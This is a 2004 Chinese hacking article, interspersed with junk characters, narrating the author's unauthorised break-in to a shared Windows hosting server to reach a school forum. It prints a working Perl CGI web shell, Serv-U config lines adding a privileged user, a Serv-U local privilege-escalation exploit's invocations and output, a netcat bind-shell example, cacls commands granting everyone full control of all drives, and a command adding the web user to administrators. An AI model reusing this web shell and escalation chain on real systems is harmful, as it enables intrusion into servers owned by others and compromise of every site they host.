剑走偏锋——灵巧的旁注攻击
3 M, U6 z- |2 {6 [# R" @3 H本文作者:angel
8 n# Y7 b# v7 A1 j) h文章性质:原创7 Y" X3 ~$ G# m! @) n/ X7 n3 _
发布日期:2004-11-09
3 z9 \+ e9 G* D注意:0 s, ^9 O! J: U5 q b
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
! V: ~5 _" a: x5 U5 G5 ^本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
. G/ T! l( B' V7 _& |! s& T
a5 M5 b0 a9 u 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 6 c B/ B, a& W
1 r! l4 g5 s0 J
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ t: o' z7 q; x- `! D. Q% w; x% b5 W
% i7 x% o$ Q( { 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 1 M7 R+ d) S% ^/ {/ m
; q( q- y$ h+ I" j
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
( M0 q* V. e: p$ \0 z: k
7 l, O! e; t; J f% ]1 k# i1 M 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 . D- W; \7 v7 x% o1 z% B
1 w5 J! m! z/ l9 ? 没有目的的跳转目录着…… & h' Y9 u0 _8 @; u
; y k! T8 t6 Q. b9 d @4 A 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… / y& z* a* K. j! P
" o9 d) B7 Z) _4 ? 结束了吗?不,我试着 FTP 一下: ( ~- Q2 k+ v; A- _
) |/ C5 k6 D6 g; G2 g) a1 pMicrosoft Windows 2000 [Version 5.00.2195]
- j, o7 d5 A7 x7 \6 t7 Q(C) 版权所有 1985-2000 Microsoft Corp. 3 e7 E2 ]7 h! `
% `& q( s& z: {! b' N2 A3 b
C:\Documents and Settings\Administrator>ftp www.school.com0 @ w% i- F# |; E- z
Connected to www. school.com.
9 K" G6 j" a" M& ^& X220 Welcome to FTP Server...
% i0 ^2 d$ I/ `0 @( I! TUser (www.bjtrq.com:(none)):
8 l/ e }, c0 w3 c2 n9 j331 User name okay, need password.
" D; |4 Z* | L& e) D/ wPassword:
7 x: m" d' p* d2 `1 Z0 Z+ H$ i; r530 Not logged in.
' E3 u' B7 b% E9 H2 }Login failed.
0 |( {+ C6 B# y3 Hftp> bye ) S, m3 l' w( q- Z7 t/ C7 `8 T
221 Goodbye! / T1 q) q5 b" L/ A' C
! T$ N5 Z+ a2 \
+ q3 I$ B# ]' G# f: P
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
( G, f/ K) M. S- J5 R ^. n7 s% M6 {# r; H
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 % Y" @0 l) A* b" l' U @# R
! q* z' F# O/ t$ f
Application Data
& N5 M. r4 V% N5 kDocuments
% x" g' U o: A5 ~1 _* L- ODRM+ ~4 D* r8 @% Q2 e! ], U+ T6 A
Favorites
: y4 |5 h2 m) x6 ? wTemplates
; }; B, }! N4 R- O) n0 S「开始」菜单
) a' N! `6 W7 h2 g/ R. M桌面; Y' i$ w0 G# i7 y- K" f
' ]) x) M' Y- G6 s2 F" S& j9 j
& Q; [- R6 s1 E; {! z' A' V 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
) K3 X( l1 `3 V' Y: z1 O! D8 @9 w: t2 d( G& n. L7 o5 b
ActiveState ActivePerl 5.8$ ^8 w9 s; H8 e; q( C8 `
Administrative Tools- c/ x" p1 ^+ l' X9 `" R
Deerfield.com
& j7 A& R R/ k" o3 T+ B: S' zDTemp
; w- W6 @4 ]: m8 X6 K7 QIPSentry x" O# @ o' i9 s) {# |2 j
MBM 5# L0 I- N5 @8 Q
NetMeter
- z) ^7 K- O" L7 Z- X9 D: M0 m0 ONetwork ICE
( |* Z- |( F; g8 {5 l# }1 W" r9 h( yPersits Software AspEmail9 y9 b3 T9 Z2 N7 D3 t4 f' _& v
Persits Software AspJpeg6 K; {# \0 A$ G
Serv-U FTP Server, c' w' H" M7 O3 s" A; A
Symantec Client Security
& u' @+ Z* ]% T) H; c, lWindows 优化大师1 H) m8 {+ ^ q8 O5 I. u$ p
WinRAR
T5 `# b& F2 \: C# u启动
+ U! m3 l2 h2 L5 y8 e, l管理工具& W7 O; x: I( D- v2 Z8 `
附件) v0 m1 n' D$ P- X6 |+ e& B) m
1 l2 O" I, [5 x( C( ^5 e, Q9 h; C( f
+ z' A4 u( U" O% a 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 + [# e: F9 N' Y$ r! C
6 p5 ?; b& ]6 Y: q$ s 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
4 K$ U7 ?5 U% p: Q3 o
0 h- o3 ?2 e' c2 |: \& b) iUser281=angel|1|0
7 t4 E9 E3 q o2 l2 j/ n
3 Y, [& E$ Y9 @' U8 J
9 e3 Q: `! |- u' c" Y 然后加上 # ]6 X& Q7 ?0 j' q
/ Y& n' G. J4 X% J8 J9 w* `; r+ C& z[USER=angel|1]( R! q. X7 H6 U# M* d, X8 e
Password=ng98F85379EA68DBF97BAADCA99B69B805
( D) T7 @/ i+ X6 U- W! s: u6 THomeDir=D:\websites
' _8 q: n; X" d! B5 o+ |7 u6 j2 uRelPaths=1
; e/ W4 J& h6 P# ]! vTimeOut=6009 I, U& j$ J# \ ~/ L( o
Maintenance=System+ C5 \: Y! d- H: C9 Q) I
Access1=D:\websites|RWAMELCDP9 K# B8 C7 U) L5 _4 j
SKEYValues=
4 I6 Q5 _+ U' p7 O + I+ v: v/ O- h# y
- m& C; n) b2 t6 H8 M# D0 w) c
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
z N! L1 `- d( V+ G0 V6 s+ K
|$ A; {: V f2 b* S+ y 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 7 q: {+ }7 z }. R
9 a! }1 U# r. Q& D# D 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 8 r5 Z! F$ z) i5 z" j V% l
, t; G8 D H7 x& Z 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 7 @" h, z4 ^1 [5 W! R: |
8 C B/ Z; U* c7 j
#!/usr/bin/perl9 A4 R, X) Q1 W( m
binmode(STDOUT);
& F1 P" l# {8 W D1 ~5 ssyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
" A7 I3 e7 s# S t, h; Q$_ = $ENV{QUERY_STRING};( F$ K. n' `4 o! q
s/%20/ /ig;
$ r" `: y$ h1 E2 i2 Qs/%2f/\//ig;% K1 I3 Y& M5 `
$execthis = $_;
6 K. p( V* f0 n8 isyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: W; N, P# c3 y5 b5 A5 M# popen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
% u5 N) M* O' Z7 k( N X* Xsystem($execthis);
) }0 l! _$ p# G7 ^# M4 S/ Zsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);: J% k3 h0 ~% x- \4 D: i' e
close(STDERR);' B& G: u( x& x! T) Q1 T' m
close(STDOUT);
0 p6 S8 i: E8 k1 ?! U" G7 eexit;$ U+ s' `8 Y( ~
* y; @, B2 F4 r) K+ O: [8 t" K" X, P* Y) J/ s
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ( [7 n! L, M7 ^' ?( F7 o
V# D, O7 i5 ~) [
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
) A! A; Z/ ]9 T4 P4 K5 ?) h8 D, g; Z0 {/ J+ I3 i7 m2 h) I$ W0 v
http://anyhost//cmd.pl?d:\user\bin\su.exe : k: P' w) q: Z2 ^ y8 f
! O6 ^0 P8 @. k: W, s- j
9 Q: m7 ]' b+ t 返回:
- H* v1 |5 o. b, }/ i7 G
3 s6 M& N! P" u2 P R+ D7 w! W# mServ-u >3.x Local Exploit by xiaolu
# ?+ n8 L% b5 ^! _) A3 t0 v- s. T1 l7 b# S8 v
USAGE: serv-u.exe "command"
( v" i- q3 x) u, O3 e' K; i: M0 @7 s. P8 T+ U9 P" G
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" & _4 v; |1 Y! Z9 e# b
+ e) P$ F/ o! d# _$ K! \/ v7 |9 `8 H/ w2 y: X
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
, F4 ]1 E- [3 T9 {% Y+ q4 { v0 x: |+ H$ w0 I
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ; r: c, z( A I- {5 ?% t. l
x6 ], `0 b. I/ u. g+ M
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
, p4 H* _3 m8 H: B H6 }6 L& I# _+ `+ x/ z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 4 ~4 e- b& c1 w3 N2 {7 a
* p# i0 g8 ?# vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
5 t6 C" @& G) \! J 2 h8 @8 k9 l7 _3 c) s. D: h# E
6 A$ m7 e7 E: {; A 返回下面的信息,就表示成功了!!!
; i1 v; [2 T3 W, m1 ]4 L# m. o2 b) Q% K
Serv-u >3.x Local Exploit by xiaolu
. a! w- C H- f6 W6 ~1 _! z3 k& |$ A# {! \1 F
<220 Serv-U FTP Server v5.2 for WinSock ready... & ^+ B4 i& M. i# y+ y2 ]
# }$ m/ q. e5 y3 ?$ u
>USER LocalAdministrator
: a# G5 Q/ Q/ L' S; H/ u. Q1 b6 n! g
<331 User name okay, need password. ) P( C0 r. n" B
- S" D5 R: Q' ?1 g( q( J, T! n1 l******************************************************
+ g' ?& }9 O( B5 h) W3 R3 c, p: E8 H$ m4 h& u7 s m
>PASS #l@$ak#.lk;0@P ' {( j7 [# A7 P: `$ ?# ^+ k
7 v, U) G$ S1 q6 N' A+ A7 g
<230 User logged in, proceed.
) D) Z1 U1 @) w/ E' F# K. f; C. ^# e3 I+ n; e/ k
****************************************************** . [9 ?5 a2 s* z
, T0 p. [2 e" I I7 i0 l( a
>SITE MAINTENANCE
; |3 s: g! c7 d0 c2 Z! N4 @' @3 |6 n" O
****************************************************** / G, W8 s: L, ~; ?8 J
* [/ R0 `# S) [1 ~1 M
[+] Creating New Domain...
1 M" f5 H) i( @
" a, Z/ f) a4 ~) |5 j$ g. P<200-DomainID=2
. f9 f W7 T5 U3 b+ S( f# d9 O! x8 I
, e+ [/ z; t6 y<220 Domain settings saved 8 J( H: F/ k+ X% _) m
4 b3 b6 v6 S% K5 d0 i+ J! Q******************************************************
. b& U5 e J2 l9 k* j3 p1 B8 ~( @
[+] Domain xl:2 Created
; w! n) |* U# T! G' y8 T
- c- _" ?8 x/ y; f[+] Creating Evil User 9 M, W5 U/ |4 D m
: ~- J9 ^+ \( d2 s- j+ w( E' e$ S
<200-User=xl
! o6 `' `' t) B$ L& D3 Q2 j! z
- l) w+ k' N+ E; \200 User settings saved
0 d8 _2 X. s K1 O3 G! f# }$ I7 w! P: p# ?: b$ D
******************************************************
$ _( h d r& t% c1 Z& s# |
4 s$ Q9 N" B) z$ j[+] Now Exploiting... ) J2 M) Y% t6 S8 n9 B- p$ z% W
' f- P4 q5 ~* q) ~6 _
>USER xl ' t Q' |) }+ P- E( @6 |
1 C8 F; k1 v5 V: k# ]- d& w c
<331 User name okay, need password. 4 M; q {2 L6 {( W+ N" C) a
1 R- Z* a x$ c) r2 r
****************************************************** 4 N% d) f$ O" z7 h% } Q- M# I
9 e" Y3 r) D( w! u7 Q% [
>PASS 111111
9 L% T0 R3 o, j# S* L) e: }; O: Z- ~) h; w2 P7 N
<230 User logged in, proceed.
9 Y1 u' _+ |4 j5 f7 k: C* q1 g7 t- U4 g6 B+ f1 V% N/ V
****************************************************** ) V% i T9 l% ]) s, e5 W0 |: P( z
6 E: K& m7 R8 j: n5 U1 D6 V+ L[+] Now Executing: cacls.exe c: /E /T /G everyone:F ! Z! f5 H# {# @$ H! f
* g3 T6 a( v" i: B<220 Domain deleted % L; g8 ]( y, M- Q+ h E
3 S- G1 b- h6 P& Y. k
******************************************************
) }$ e8 F6 S2 j! s 3 x" I9 Q) V. d( q; f3 J+ T: z
* c, e: e% v4 ^% i; G& x* C; C 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
& g2 P2 T5 ]( c- y& f X1 _: r6 V. J. n
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
) [. G( e+ c# ]6 ?+ [
2 s q: \3 A) C' Q6 ]1 L
1 Y1 h0 ^% o* z 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 + Y2 B/ b% R' r% M; O
$ K, J$ k8 g0 c, D, w
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
* f! y7 k8 I( t! G- @+ D7 I& H' } # ~8 ?6 a) O2 C7 q% `
' X* D9 m+ D8 ~3 n" v# _( { |